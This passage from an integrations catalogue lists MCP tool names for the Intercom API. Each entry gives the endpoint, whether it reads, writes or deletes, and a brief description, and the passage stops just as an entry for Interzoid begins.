Delete news item via DELETE /news/news_items/{news_item_id} DELETE /api/v1/intercom/news/news_items/{news_item_id}. Scopes: none. intercom_delete_office_hours_schedules_by_id (write, destructive) — Delete office hours schedule via DELETE /office_hours_schedules/{id} DELETE /api/v1/intercom/office_hours_schedules/{id}. Scopes: none. intercom_delete_office_hours_schedules_by_office_hours_schedule_id_office_hours_exceptions_by_id (write, destructive) — Delete office hours exception via DELETE /office_hours_schedules/{office_hours_schedule_id}/office_hours_exceptions/{id} DELETE /api/v1/intercom/office_hours_schedules/{office_hours_schedule_id}/office_hours_exceptions/{id}. Scopes: none. intercom_delete_tags_by_tag_id (write, destructive) — Delete tag via DELETE /tags/{tag_id} DELETE /api/v1/intercom/tags/{tag_id}. Scopes: none. intercom_delete_tickets_by_ticket_id (write, destructive) — Delete ticket via DELETE /tickets/{ticket_id} DELETE /api/v1/intercom/tickets/{ticket_id}. Scopes: none. intercom_delete_tickets_by_ticket_id_linked_conversations_by_id (write, destructive) — Unlink conversation from ticket via DELETE /tickets/{ticket_id}/linked_conversations/{id} DELETE /api/v1/intercom/tickets/{ticket_id}/linked_conversations/{id}. Scopes: none. intercom_delete_tickets_by_ticket_id_tags_by_tag_id (write, destructive) — Detach tag from ticket via DELETE /tickets/{ticket_id}/tags/{tag_id} DELETE /api/v1/intercom/tickets/{ticket_id}/tags/{tag_id}. Scopes: none. intercom_get_admins (read) — List admins via GET /admins GET /api/v1/intercom/admins. Scopes: none. intercom_get_admins_activity_log_event_types (read) — List activity log event types via GET /admins/activity_log_event_types GET /api/v1/intercom/admins/activity_log_event_types. Scopes: none. intercom_get_admins_activity_logs (read) — List activity logs via GET /admins/activity_logs GET /api/v1/intercom/admins/activity_logs. Scopes: none. intercom_get_admins_by_admin_id (read) — Retrieve admin via GET /admins/{admin_id} GET /api/v1/intercom/admins/{admin_id}. Scopes: none. intercom_get_ai_content_import_sources (read) — List content import sources via GET /ai/content_import_sources GET /api/v1/intercom/ai/content_import_sources. Scopes: none. intercom_get_ai_content_import_sources_by_source_id (read) — Get content import source via GET /ai/content_import_sources/{source_id} GET /api/v1/intercom/ai/content_import_sources/{source_id}. Scopes: none. intercom_get_ai_external_pages (read) — List external pages via GET /ai/external_pages GET /api/v1/intercom/ai/external_pages. Scopes: none. intercom_get_ai_external_pages_by_page_id (read) — Get external page via GET /ai/external_pages/{page_id} GET /api/v1/intercom/ai/external_pages/{page_id}. Scopes: none. intercom_get_articles (read) — List articles via GET /articles GET /api/v1/intercom/articles. Scopes: none. intercom_get_articles_by_article_id (read) — Retrieve article via GET /articles/{article_id} GET /api/v1/intercom/articles/{article_id}. Scopes: none. intercom_get_articles_by_article_id_versions (read) — List article versions via GET /articles/{article_id}/versions GET /api/v1/intercom/articles/{article_id}/versions. Scopes: none. intercom_get_articles_by_article_id_versions_by_id (read) — Retrieve article version via GET /articles/{article_id}/versions/{id} GET /api/v1/intercom/articles/{article_id}/versions/{id}. Scopes: none. intercom_get_articles_by_id_draft (read) — Retrieve article draft via GET /articles/{id}/draft GET /api/v1/intercom/articles/{id}/draft. Scopes: none. intercom_get_articles_search (read) — Search articles via GET /articles/search GET /api/v1/intercom/articles/search. Scopes: none. intercom_get_audiences (read) — List audiences via GET /audiences GET /api/v1/intercom/audiences. Scopes: none. intercom_get_audiences_by_id (read) — Retrieve audience via GET /audiences/{id} GET /api/v1/intercom/audiences/{id}. Scopes: none. intercom_get_away_status_reasons (read) — List away status reasons via GET /away_status_reasons GET /api/v1/intercom/away_status_reasons. Scopes: none. intercom_get_brands (read) — List brands via GET /brands GET /api/v1/intercom/brands. Scopes: none. intercom_get_brands_by_id (read) — Retrieve brand via GET /brands/{id} GET /api/v1/intercom/brands/{id}. Scopes: none. intercom_get_calls (read) — List calls via GET /calls GET /api/v1/intercom/calls. Scopes: none. intercom_get_calls_by_call_id (read) — Show call via GET /calls/{call_id} GET /api/v1/intercom/calls/{call_id}. Scopes: none. intercom_get_calls_by_call_id_recording (read) — Show call recording via GET /calls/{call_id}/recording GET /api/v1/intercom/calls/{call_id}/recording. Scopes: none. intercom_get_calls_by_call_id_transcript (read) — Show call transcript via GET /calls/{call_id}/transcript GET /api/v1/intercom/calls/{call_id}/transcript. Scopes: none. intercom_get_companies (read) — Retrieve company via GET /companies GET /api/v1/intercom/companies. Scopes: none. intercom_get_companies_by_company_id (read) — Retrieve a company by id via GET /companies/{company_id} GET /api/v1/intercom/companies/{company_id}. Scopes: none. intercom_get_companies_by_company_id_contacts (read) — List attached contacts via GET /companies/{company_id}/contacts GET /api/v1/intercom/companies/{company_id}/contacts. Scopes: none. intercom_get_companies_by_company_id_notes (read) — List company notes via GET /companies/{company_id}/notes GET /api/v1/intercom/companies/{company_id}/notes. Scopes: none. intercom_get_companies_by_company_id_segments (read) — List attached segments for companies via GET /companies/{company_id}/segments GET /api/v1/intercom/companies/{company_id}/segments. Scopes: none. intercom_get_companies_scroll (read) — Scroll over all companies via GET /companies/scroll GET /api/v1/intercom/companies/scroll. Scopes: none. intercom_get_contacts (read) — List contacts via GET /contacts GET /api/v1/intercom/contacts. Scopes: none. intercom_get_contacts_by_contact_id (read) — Show contact via GET /contacts/{contact_id} GET /api/v1/intercom/contacts/{contact_id}. Scopes: none. intercom_get_contacts_by_contact_id_companies (read) — List companies for a contact via GET /contacts/{contact_id}/companies GET /api/v1/intercom/contacts/{contact_id}/companies. Scopes: none. intercom_get_contacts_by_contact_id_notes (read) — List notes via GET /contacts/{contact_id}/notes GET /api/v1/intercom/contacts/{contact_id}/notes. Scopes: none. intercom_get_contacts_by_contact_id_segments (read) — List segments for a contact via GET /contacts/{contact_id}/segments GET /api/v1/intercom/contacts/{contact_id}/segments. Scopes: none. intercom_get_contacts_by_contact_id_subscriptions (read) — List subscriptions for a contact via GET /contacts/{contact_id}/subscriptions GET /api/v1/intercom/contacts/{contact_id}/subscriptions. Scopes: none. intercom_get_contacts_by_contact_id_tags (read) — List tags for a contact via GET /contacts/{contact_id}/tags GET /api/v1/intercom/contacts/{contact_id}/tags. Scopes: none. intercom_get_contacts_by_id_banners (read) — List contact banners via GET /contacts/{id}/banners GET /api/v1/intercom/contacts/{id}/banners. Scopes: none. intercom_get_contacts_by_id_merge_history (read) — List contact merge history via GET /contacts/{id}/merge_history GET /api/v1/intercom/contacts/{id}/merge_history. Scopes: none. intercom_get_contacts_find_by_external_id_by_external_id (read) — Show contact by external id via GET /contacts/find_by_external_id/{external_id} GET /api/v1/intercom/contacts/find_by_external_id/{external_id}. Scopes: none. intercom_get_content_search (read) — Search content via GET /content/search GET /api/v1/intercom/content/search. Scopes: none. intercom_get_content_snippets (read) — List content snippets via GET /content_snippets GET /api/v1/intercom/content_snippets. Scopes: none. intercom_get_content_snippets_by_id (read) — Get content snippet via GET /content_snippets/{id} GET /api/v1/intercom/content_snippets/{id}. Scopes: none. intercom_get_conversations (read) — List conversations via GET /conversations GET /api/v1/intercom/conversations. Scopes: none. intercom_get_conversations_attributes (read) — List conversation attributes via GET /conversations/attributes GET /api/v1/intercom/conversations/attributes. Scopes: none. intercom_get_conversations_attributes_by_id (read) — Get conversation attribute via GET /conversations/attributes/{id} GET /api/v1/intercom/conversations/attributes/{id}. Scopes: none. intercom_get_conversations_by_conversation_id (read) — Retrieve conversation via GET /conversations/{conversation_id} GET /api/v1/intercom/conversations/{conversation_id}. Scopes: none. intercom_get_conversations_by_id_handling_events (read) — List handling events via GET /conversations/{id}/handling_events GET /api/v1/intercom/conversations/{id}/handling_events. Scopes: none. intercom_get_conversations_by_id_side_conversations (read) — List side conversations via GET /conversations/{id}/side_conversations GET /api/v1/intercom/conversations/{id}/side_conversations. Scopes: none. intercom_get_conversations_deleted (read) — List deleted conversation ids via GET /conversations/deleted GET /api/v1/intercom/conversations/deleted. Scopes: none. intercom_get_custom_object_instances_by_custom_object_type_identifier (read) — List custom object instances via GET /custom_object_instances/{custom_object_type_identifier} GET /api/v1/intercom/custom_object_instances/{custom_object_type_identifier}. Scopes: none. intercom_get_custom_object_instances_by_custom_object_type_identifier_by_custom_object_instance_id (read) — Get custom object instances by id via GET /custom_object_instances/{custom_object_type_identifier}/{custom_object_instance_id} GET /api/v1/intercom/custom_object_instances/{custom_object_type_identifier}/{custom_object_instance_id}. Scopes: none. intercom_get_data_attributes (read) — Lis data attributes via GET /data_attributes GET /api/v1/intercom/data_attributes. Scopes: none. intercom_get_data_connectors (read) — List data connectors via GET /data_connectors GET /api/v1/intercom/data_connectors. Scopes: none. intercom_get_data_connectors_by_data_connector_id_execution_results (read) — List data connector execution results via GET /data_connectors/{data_connector_id}/execution_results GET /api/v1/intercom/data_connectors/{data_connector_id}/execution_results. Scopes: none. intercom_get_data_connectors_by_data_connector_id_execution_results_by_id (read) — Show data connector execution result via GET /data_connectors/{data_connector_id}/execution_results/{id} GET /api/v1/intercom/data_connectors/{data_connector_id}/execution_results/{id}. Scopes: none. intercom_get_data_connectors_by_id (read) — Retrieve data connector via GET /data_connectors/{id} GET /api/v1/intercom/data_connectors/{id}. Scopes: none. intercom_get_download_content_data_by_job_identifier (read) — Download data export via GET /download/content/data/{job_identifier} GET /api/v1/intercom/download/content/data/{job_identifier}. Scopes: none. intercom_get_download_reporting_data_by_job_identifier (read) — Intercom get download reporting data by job identifier via GET /download/reporting_data/{job_identifier} GET /api/v1/intercom/download/reporting_data/{job_identifier}. Scopes: none. intercom_get_emails (read) — List emails via GET /emails GET /api/v1/intercom/emails. Scopes: none. intercom_get_emails_by_id (read) — Retrieve email via GET /emails/{id} GET /api/v1/intercom/emails/{id}. Scopes: none. intercom_get_events (read) — Lis data events via GET /events GET /api/v1/intercom/events. Scopes: none. intercom_get_export_content_data_by_job_identifier (read) — Get data export via GET /export/content/data/{job_identifier} GET /api/v1/intercom/export/content/data/{job_identifier}. Scopes: none. intercom_get_export_reporting_data_by_job_identifier (read) — Intercom get export reporting data by job identifier via GET /export/reporting_data/{job_identifier} GET /api/v1/intercom/export/reporting_data/{job_identifier}. Scopes: none. intercom_get_export_reporting_data_get_datasets (read) — Intercom get export reporting data get datasets via GET /export/reporting_data/get_datasets GET /api/v1/intercom/export/reporting_data/get_datasets. Scopes: none. intercom_get_export_workflows_by_id (read) — Export workflow via GET /export/workflows/{id} GET /api/v1/intercom/export/workflows/{id}. Scopes: none. intercom_get_fin_voice_collect_by_id (read) — Collect fin voice call by id via GET /fin_voice/collect/{id} GET /api/v1/intercom/fin_voice/collect/{id}. Scopes: none. intercom_get_fin_voice_conversation_by_conversation_id (read) — Collect fin voice calls by conversation id via GET /fin_voice/conversation/{conversation_id} GET /api/v1/intercom/fin_voice/conversation/{conversation_id}. Scopes: none. intercom_get_fin_voice_external_id_by_external_id (read) — Collect fin voice call by external id via GET /fin_voice/external_id/{external_id} GET /api/v1/intercom/fin_voice/external_id/{external_id}. Scopes: none. intercom_get_fin_voice_phone_number_by_phone_number (read) — Collect fin voice call by phone number via GET /fin_voice/phone_number/{phone_number} GET /api/v1/intercom/fin_voice/phone_number/{phone_number}. Scopes: none. intercom_get_help_center_collections (read) — List all collections via GET /help_center/collections GET /api/v1/intercom/help_center/collections. Scopes: none. intercom_get_help_center_collections_by_collection_id (read) — Retrieve collection via GET /help_center/collections/{collection_id} GET /api/v1/intercom/help_center/collections/{collection_id}. Scopes: none. intercom_get_help_center_help_centers (read) — List help centers via GET /help_center/help_centers GET /api/v1/intercom/help_center/help_centers. Scopes: none. intercom_get_help_center_help_centers_by_help_center_id (read) — Retrieve help center via GET /help_center/help_centers/{help_center_id} GET /api/v1/intercom/help_center/help_centers/{help_center_id}. Scopes: none. intercom_get_help_center_help_centers_by_help_center_id_redirects (read) — List help center redirects via GET /help_center/help_centers/{help_center_id}/redirects GET /api/v1/intercom/help_center/help_centers/{help_center_id}/redirects. Scopes: none. intercom_get_help_center_help_centers_by_help_center_id_redirects_by_id (read) — Retrieve help center redirect via GET /help_center/help_centers/{help_center_id}/redirects/{id} GET /api/v1/intercom/help_center/help_centers/{help_center_id}/redirects/{id}. Scopes: none. intercom_get_internal_articles (read) — List internal articles via GET /internal_articles GET /api/v1/intercom/internal_articles. Scopes: none. intercom_get_internal_articles_by_internal_article_id (read) — Retrieve internal article via GET /internal_articles/{internal_article_id} GET /api/v1/intercom/internal_articles/{internal_article_id}. Scopes: none. intercom_get_internal_articles_search (read) — Search internal articles via GET /internal_articles/search GET /api/v1/intercom/internal_articles/search. Scopes: none. intercom_get_ip_allowlist (read) — Get ip allowlist via GET /ip_allowlist GET /api/v1/intercom/ip_allowlist. Scopes: none. intercom_get_jobs_status_by_job_id (read) — Jobs status via GET /jobs/status/{job_id} GET /api/v1/intercom/jobs/status/{job_id}. Scopes: none. intercom_get_macros (read) — List macros via GET /macros GET /api/v1/intercom/macros. Scopes: none. intercom_get_macros_by_id (read) — Get macro via GET /macros/{id} GET /api/v1/intercom/macros/{id}. Scopes: none. intercom_get_me (read) — Identify admin via GET /me GET /api/v1/intercom/me. Scopes: none. intercom_get_messages_status (read) — Get whats app message status via GET /messages/status GET /api/v1/intercom/messages/status. Scopes: none. intercom_get_messages_whatsapp_status (read) — Retrieve whats app message status via GET /messages/whatsapp/status GET /api/v1/intercom/messages/whatsapp/status. Scopes: none. intercom_get_news_news_items (read) — List news items via GET /news/news_items GET /api/v1/intercom/news/news_items. Scopes: none. intercom_get_news_news_items_by_news_item_id (read) — Retrieve news item via GET /news/news_items/{news_item_id} GET /api/v1/intercom/news/news_items/{news_item_id}. Scopes: none. intercom_get_news_newsfeeds (read) — List newsfeeds via GET /news/newsfeeds GET /api/v1/intercom/news/newsfeeds. Scopes: none. intercom_get_news_newsfeeds_by_newsfeed_id (read) — Retrieve newsfeed via GET /news/newsfeeds/{newsfeed_id} GET /api/v1/intercom/news/newsfeeds/{newsfeed_id}. Scopes: none. intercom_get_news_newsfeeds_by_newsfeed_id_items (read) — List live newsfeed items via GET /news/newsfeeds/{newsfeed_id}/items GET /api/v1/intercom/news/newsfeeds/{newsfeed_id}/items. Scopes: none. intercom_get_notes_by_note_id (read) — Retrieve note via GET /notes/{note_id} GET /api/v1/intercom/notes/{note_id}. Scopes: none. intercom_get_office_hours_schedules (read) — List office hours schedules via GET /office_hours_schedules GET /api/v1/intercom/office_hours_schedules. Scopes: none. intercom_get_office_hours_schedules_by_id (read) — Get office hours schedule via GET /office_hours_schedules/{id} GET /api/v1/intercom/office_hours_schedules/{id}. Scopes: none. intercom_get_office_hours_schedules_by_office_hours_schedule_id_office_hours_exceptions (read) — List office hours exceptions via GET /office_hours_schedules/{office_hours_schedule_id}/office_hours_exceptions GET /api/v1/intercom/office_hours_schedules/{office_hours_schedule_id}/office_hours_exceptions. Scopes: none. intercom_get_office_hours_schedules_by_office_hours_schedule_id_office_hours_exceptions_by_id (read) — Get office hours exception via GET /office_hours_schedules/{office_hours_schedule_id}/office_hours_exceptions/{id} GET /api/v1/intercom/office_hours_schedules/{office_hours_schedule_id}/office_hours_exceptions/{id}. Scopes: none. intercom_get_segments (read) — List segments via GET /segments GET /api/v1/intercom/segments. Scopes: none. intercom_get_segments_by_segment_id (read) — Retrieve segment via GET /segments/{segment_id} GET /api/v1/intercom/segments/{segment_id}. Scopes: none. intercom_get_subscription_types (read) — List subscription types via GET /subscription_types GET /api/v1/intercom/subscription_types. Scopes: none. intercom_get_tags (read) — List tags via GET /tags GET /api/v1/intercom/tags. Scopes: none. intercom_get_tags_by_tag_id (read) — Find tag via GET /tags/{tag_id} GET /api/v1/intercom/tags/{tag_id}. Scopes: none. intercom_get_teams (read) — List teams via GET /teams GET /api/v1/intercom/teams. Scopes: none. intercom_get_teams_by_team_id (read) — Retrieve team via GET /teams/{team_id} GET /api/v1/intercom/teams/{team_id}. Scopes: none. intercom_get_teams_by_team_id_metrics (read) — Get team metrics via GET /teams/{team_id}/metrics GET /api/v1/intercom/teams/{team_id}/metrics. Scopes: none. intercom_get_ticket_states (read) — List ticket states via GET /ticket_states GET /api/v1/intercom/ticket_states. Scopes: none. intercom_get_ticket_types (read) — List ticket types via GET /ticket_types GET /api/v1/intercom/ticket_types. Scopes: none. intercom_get_ticket_types_by_ticket_type_id (read) — Get ticket type via GET /ticket_types/{ticket_type_id} GET /api/v1/intercom/ticket_types/{ticket_type_id}. Scopes: none. intercom_get_tickets_by_ticket_id (read) — Get ticket via GET /tickets/{ticket_id} GET /api/v1/intercom/tickets/{ticket_id}. Scopes: none. intercom_get_visitors (read) — Retrieve visitor with user id via GET /visitors GET /api/v1/intercom/visitors. Scopes: none. intercom_patch_data_connectors_by_id (write) — Update data connector via PATCH /data_connectors/{id} PATCH /api/v1/intercom/data_connectors/{id}. Scopes: none. intercom_post_admins_activity_logs_search (write) — Search activity logs via POST /admins/activity_logs/search POST /api/v1/intercom/admins/activity_logs/search. Scopes: none. intercom_post_ai_content_import_sources (write) — Create content import source via POST /ai/content_import_sources POST /api/v1/intercom/ai/content_import_sources. Scopes: none. intercom_post_ai_external_pages (write) — Create external page via POST /ai/external_pages POST /api/v1/intercom/ai/external_pages. Scopes: none. intercom_post_articles (write) — Create article via POST /articles POST /api/v1/intercom/articles. Scopes: none. intercom_post_articles_by_article_id_tags (write) — Attach tag to article via POST /articles/{article_id}/tags POST /api/v1/intercom/articles/{article_id}/tags. Scopes: none. intercom_post_articles_by_id_draft_publish (write) — Publish article draft via POST /articles/{id}/draft/publish POST /api/v1/intercom/articles/{id}/draft/publish. Scopes: none. intercom_post_audiences (write) — Create audience via POST /audiences POST /api/v1/intercom/audiences. Scopes: none. intercom_post_calls_search (write) — List calls with transcripts via POST /calls/search POST /api/v1/intercom/calls/search. Scopes: none. intercom_post_companies (write) — Create or update company via POST /companies POST /api/v1/intercom/companies. Scopes: none. intercom_post_companies_by_company_id_notes (write) — Create company note via POST /companies/{company_id}/notes POST /api/v1/intercom/companies/{company_id}/notes. Scopes: none. intercom_post_companies_list (write) — List all companies via POST /companies/list POST /api/v1/intercom/companies/list. Scopes: none. intercom_post_contacts (write) — Create contact via POST /contacts POST /api/v1/intercom/contacts. Scopes: none. intercom_post_contacts_by_contact_id_archive (write) — Archive contact via POST /contacts/{contact_id}/archive POST /api/v1/intercom/contacts/{contact_id}/archive. Scopes: none. intercom_post_contacts_by_contact_id_block (write) — Block contact via POST /contacts/{contact_id}/block POST /api/v1/intercom/contacts/{contact_id}/block. Scopes: none. intercom_post_contacts_by_contact_id_companies (write) — Attach contact to a company via POST /contacts/{contact_id}/companies POST /api/v1/intercom/contacts/{contact_id}/companies. Scopes: none. intercom_post_contacts_by_contact_id_notes (write) — Create note via POST /contacts/{contact_id}/notes POST /api/v1/intercom/contacts/{contact_id}/notes. Scopes: none. intercom_post_contacts_by_contact_id_subscriptions (write) — Attach subscription type to contact via POST /contacts/{contact_id}/subscriptions POST /api/v1/intercom/contacts/{contact_id}/subscriptions. Scopes: none. intercom_post_contacts_by_contact_id_tags (write) — Attach tag to contact via POST /contacts/{contact_id}/tags POST /api/v1/intercom/contacts/{contact_id}/tags. Scopes: none. intercom_post_contacts_by_contact_id_unarchive (write) — Unarchive contact via POST /contacts/{contact_id}/unarchive POST /api/v1/intercom/contacts/{contact_id}/unarchive. Scopes: none. intercom_post_contacts_by_id_banners_by_view_id_dismiss (write) — Dismiss contact banner via POST /contacts/{id}/banners/{view_id}/dismiss POST /api/v1/intercom/contacts/{id}/banners/{view_id}/dismiss. Scopes: none. intercom_post_contacts_merge (write) — Merge contact via POST /contacts/merge POST /api/v1/intercom/contacts/merge. Scopes: none. intercom_post_contacts_search (write) — Search contacts via POST /contacts/search POST /api/v1/intercom/contacts/search. Scopes: none. intercom_post_content_bulk_actions (write) — Bulk content actions via POST /content/bulk_actions POST /api/v1/intercom/content/bulk_actions. Scopes: none. intercom_post_content_snippets (write) — Create content snippet via POST /content_snippets POST /api/v1/intercom/content_snippets. Scopes: none. intercom_post_content_snippets_by_content_snippet_id_tags (write) — Attach tag to content snippet via POST /content_snippets/{content_snippet_id}/tags POST /api/v1/intercom/content_snippets/{content_snippet_id}/tags. Scopes: none. intercom_post_conversations (write) — Create conversation via POST /conversations POST /api/v1/intercom/conversations. Scopes: none. intercom_post_conversations_attributes (write) — Create conversation attribute via POST /conversations/attributes POST /api/v1/intercom/conversations/attributes. Scopes: none. intercom_post_conversations_attributes_by_id_options (write) — Create conversation attribute option via POST /conversations/attributes/{id}/options POST /api/v1/intercom/conversations/attributes/{id}/options. Scopes: none. intercom_post_conversations_by_conversation_id_convert (write) — Convert conversation to ticket via POST /conversations/{conversation_id}/convert POST /api/v1/intercom/conversations/{conversation_id}/convert. Scopes: none. intercom_post_conversations_by_conversation_id_customers (write) — Attach contact to conversation via POST /conversations/{conversation_id}/customers POST /api/v1/intercom/conversations/{conversation_id}/customers. Scopes: none. intercom_post_conversations_by_conversation_id_parts (write) — Manage conversation via POST /conversations/{conversation_id}/parts POST /api/v1/intercom/conversations/{conversation_id}/parts. Scopes: none. intercom_post_conversations_by_conversation_id_reply (write) — Reply conversation via POST /conversations/{conversation_id}/reply POST /api/v1/intercom/conversations/{conversation_id}/reply. Scopes: none. intercom_post_conversations_by_conversation_id_tags (write) — Attach tag to conversation via POST /conversations/{conversation_id}/tags POST /api/v1/intercom/conversations/{conversation_id}/tags. Scopes: none. intercom_post_conversations_by_id_merge (write) — Merge conversation via POST /conversations/{id}/merge POST /api/v1/intercom/conversations/{id}/merge. Scopes: none. intercom_post_conversations_redact (write) — Redact conversation via POST /conversations/redact POST /api/v1/intercom/conversations/redact. Scopes: none. intercom_post_conversations_search (write) — Search conversations via POST /conversations/search POST /api/v1/intercom/conversations/search. Scopes: none. intercom_post_custom_object_instances_by_custom_object_type_identifier (write) — Create custom object instances via POST /custom_object_instances/{custom_object_type_identifier} POST /api/v1/intercom/custom_object_instances/{custom_object_type_identifier}. Scopes: none. intercom_post_data_attributes (write) — Create data attribute via POST /data_attributes POST /api/v1/intercom/data_attributes. Scopes: none. intercom_post_data_connectors (write) — Create data connector via POST /data_connectors POST /api/v1/intercom/data_connectors. Scopes: none. intercom_post_events (write) — Create data event via POST /events POST /api/v1/intercom/events. Scopes: none. intercom_post_events_summaries (write) — Data event summaries via POST /events/summaries POST /api/v1/intercom/events/summaries. Scopes: none. intercom_post_export_cancel_by_job_identifier (write) — Cancel data export via POST /export/cancel/{job_identifier} POST /api/v1/intercom/export/cancel/{job_identifier}. Scopes: none. intercom_post_export_content_data (write) — Create data export via POST /export/content/data POST /api/v1/intercom/export/content/data. Scopes: none. intercom_post_export_reporting_data_enqueue (write) — Intercom post export reporting data enqueue via POST /export/reporting_data/enqueue POST /api/v1/intercom/export/reporting_data/enqueue. Scopes: none. intercom_post_fin_csat (write) — Submit fin csat via POST /fin/csat POST /api/v1/intercom/fin/csat. Scopes: none. intercom_post_fin_reply (write) — Reply to fin via POST /fin/reply POST /api/v1/intercom/fin/reply. Scopes: none. intercom_post_fin_start (write) — Start fin conversation via POST /fin/start POST /api/v1/intercom/fin/start. Scopes: none. intercom_post_fin_voice_register (write) — Register fin voice call via POST /fin_voice/register POST /api/v1/intercom/fin_voice/register. Scopes: none. intercom_post_help_center_collections (write) — Create collection via POST /help_center/collections POST /api/v1/intercom/help_center/collections. Scopes: none. intercom_post_help_center_help_centers_by_help_center_id_redirects (write) — Create help center redirect via POST /help_center/help_centers/{help_center_id}/redirects POST /api/v1/intercom/help_center/help_centers/{help_center_id}/redirects. Scopes: none. intercom_post_internal_articles (write) — Create internal article via POST /internal_articles POST /api/v1/intercom/internal_articles. Scopes: none. intercom_post_internal_articles_by_internal_article_id_tags (write) — Attach tag to internal article via POST /internal_articles/{internal_article_id}/tags POST /api/v1/intercom/internal_articles/{internal_article_id}/tags. Scopes: none. intercom_post_messages (write) — Create message via POST /messages POST /api/v1/intercom/messages. Scopes: none. intercom_post_news_news_items (write) — Create news item via POST /news/news_items POST /api/v1/intercom/news/news_items. Scopes: none. intercom_post_office_hours_schedules (write) — Create office hours schedule via POST /office_hours_schedules POST /api/v1/intercom/office_hours_schedules. Scopes: none. intercom_post_office_hours_schedules_by_office_hours_schedule_id_office_hours_exceptions (write) — Create office hours exception via POST /office_hours_schedules/{office_hours_schedule_id}/office_hours_exceptions POST /api/v1/intercom/office_hours_schedules/{office_hours_schedule_id}/office_hours_exceptions. Scopes: none. intercom_post_phone_call_redirects (write) — Create phone switch via POST /phone_call_redirects POST /api/v1/intercom/phone_call_redirects. Scopes: none. intercom_post_tags (write) — Create tag via POST /tags POST /api/v1/intercom/tags. Scopes: none. intercom_post_ticket_types (write) — Create ticket type via POST /ticket_types POST /api/v1/intercom/ticket_types. Scopes: none. intercom_post_ticket_types_by_ticket_type_id_attributes (write) — Create ticket type attribute via POST /ticket_types/{ticket_type_id}/attributes POST /api/v1/intercom/ticket_types/{ticket_type_id}/attributes. Scopes: none. intercom_post_tickets (write) — Create ticket via POST /tickets POST /api/v1/intercom/tickets. Scopes: none. intercom_post_tickets_by_ticket_id_change_type (write) — Change ticket type via POST /tickets/{ticket_id}/change_type POST /api/v1/intercom/tickets/{ticket_id}/change_type. Scopes: none. intercom_post_tickets_by_ticket_id_linked_conversations (write) — Link conversation to ticket via POST /tickets/{ticket_id}/linked_conversations POST /api/v1/intercom/tickets/{ticket_id}/linked_conversations. Scopes: none. intercom_post_tickets_by_ticket_id_reply (write) — Reply ticket via POST /tickets/{ticket_id}/reply POST /api/v1/intercom/tickets/{ticket_id}/reply. Scopes: none. intercom_post_tickets_by_ticket_id_tags (write) — Attach tag to ticket via POST /tickets/{ticket_id}/tags POST /api/v1/intercom/tickets/{ticket_id}/tags. Scopes: none. intercom_post_tickets_enqueue (write) — Enqueue create ticket via POST /tickets/enqueue POST /api/v1/intercom/tickets/enqueue. Scopes: none. intercom_post_tickets_search (write) — Search tickets via POST /tickets/search POST /api/v1/intercom/tickets/search. Scopes: none. intercom_post_visitors_convert (write) — Convert visitor via POST /visitors/convert POST /api/v1/intercom/visitors/convert. Scopes: none. intercom_put_admins_by_admin_id_away (write) — Set away admin via PUT /admins/{admin_id}/away PUT /api/v1/intercom/admins/{admin_id}/away. Scopes: none. intercom_put_ai_content_import_sources_by_source_id (write) — Update content import source via PUT /ai/content_import_sources/{source_id} PUT /api/v1/intercom/ai/content_import_sources/{source_id}. Scopes: none. intercom_put_ai_external_pages_by_page_id (write) — Update external page via PUT /ai/external_pages/{page_id} PUT /api/v1/intercom/ai/external_pages/{page_id}. Scopes: none. intercom_put_articles_by_article_id (write) — Update article via PUT /articles/{article_id} PUT /api/v1/intercom/articles/{article_id}. Scopes: none. intercom_put_articles_by_id_draft (write) — Stage article draft via PUT /articles/{id}/draft PUT /api/v1/intercom/articles/{id}/draft. Scopes: none. intercom_put_audiences_by_id (write) — Update audience via PUT /audiences/{id} PUT /api/v1/intercom/audiences/{id}. Scopes: none. intercom_put_companies_by_company_id (write) — Update company via PUT /companies/{company_id} PUT /api/v1/intercom/companies/{company_id}. Scopes: none. intercom_put_contacts_by_contact_id (write) — Update contact via PUT /contacts/{contact_id} PUT /api/v1/intercom/contacts/{contact_id}. Scopes: none. intercom_put_content_snippets_by_id (write) — Update content snippet via PUT /content_snippets/{id} PUT /api/v1/intercom/content_snippets/{id}. Scopes: none. intercom_put_conversations_attributes_by_id (write) — Update conversation attribute via PUT /conversations/attributes/{id} PUT /api/v1/intercom/conversations/attributes/{id}. Scopes: none. intercom_put_conversations_attributes_by_id_options_by_option_id (write) — Update conversation attribute option via PUT /conversations/attributes/{id}/options/{option_id} PUT /api/v1/intercom/conversations/attributes/{id}/options/{option_id}. Scopes: none. intercom_put_conversations_by_conversation_id (write) — Update conversation via PUT /conversations/{conversation_id} PUT /api/v1/intercom/conversations/{conversation_id}. Scopes: none. intercom_put_data_attributes_by_data_attribute_id (write) — Update data attribute via PUT /data_attributes/{data_attribute_id} PUT /api/v1/intercom/data_attributes/{data_attribute_id}. Scopes: none. intercom_put_help_center_collections_by_collection_id (write) — Update collection via PUT /help_center/collections/{collection_id} PUT /api/v1/intercom/help_center/collections/{collection_id}. Scopes: none. intercom_put_internal_articles_by_internal_article_id (write) — Update internal article via PUT /internal_articles/{internal_article_id} PUT /api/v1/intercom/internal_articles/{internal_article_id}. Scopes: none. intercom_put_ip_allowlist (write) — Update ip allowlist via PUT /ip_allowlist PUT /api/v1/intercom/ip_allowlist. Scopes: none. intercom_put_news_news_items_by_news_item_id (write) — Update news item via PUT /news/news_items/{news_item_id} PUT /api/v1/intercom/news/news_items/{news_item_id}. Scopes: none. intercom_put_office_hours_schedules_by_id (write) — Update office hours schedule via PUT /office_hours_schedules/{id} PUT /api/v1/intercom/office_hours_schedules/{id}. Scopes: none. intercom_put_office_hours_schedules_by_office_hours_schedule_id_office_hours_exceptions_by_id (write) — Update office hours exception via PUT /office_hours_schedules/{office_hours_schedule_id}/office_hours_exceptions/{id} PUT /api/v1/intercom/office_hours_schedules/{office_hours_schedule_id}/office_hours_exceptions/{id}. Scopes: none. intercom_put_ticket_types_by_ticket_type_id (write) — Update ticket type via PUT /ticket_types/{ticket_type_id} PUT /api/v1/intercom/ticket_types/{ticket_type_id}. Scopes: none. intercom_put_ticket_types_by_ticket_type_id_attributes_by_attribute_id (write) — Update ticket type attribute via PUT /ticket_types/{ticket_type_id}/attributes/{attribute_id} PUT /api/v1/intercom/ticket_types/{ticket_type_id}/attributes/{attribute_id}. Scopes: none. intercom_put_tickets_by_ticket_id (write) — Update ticket via PUT /tickets/{ticket_id} PUT /api/v1/intercom/tickets/{ticket_id}. Scopes: none. intercom_put_visitors (write) — Update visitor via PUT /visitors PUT /api/v1/intercom/visitors. Scopes: none. ================================================================================ ## Interzoid URL: https://www.agenticfabriq.com/integrations/interzoid Section: Integrated Tools Interzoid — 58 MCP tools Provider 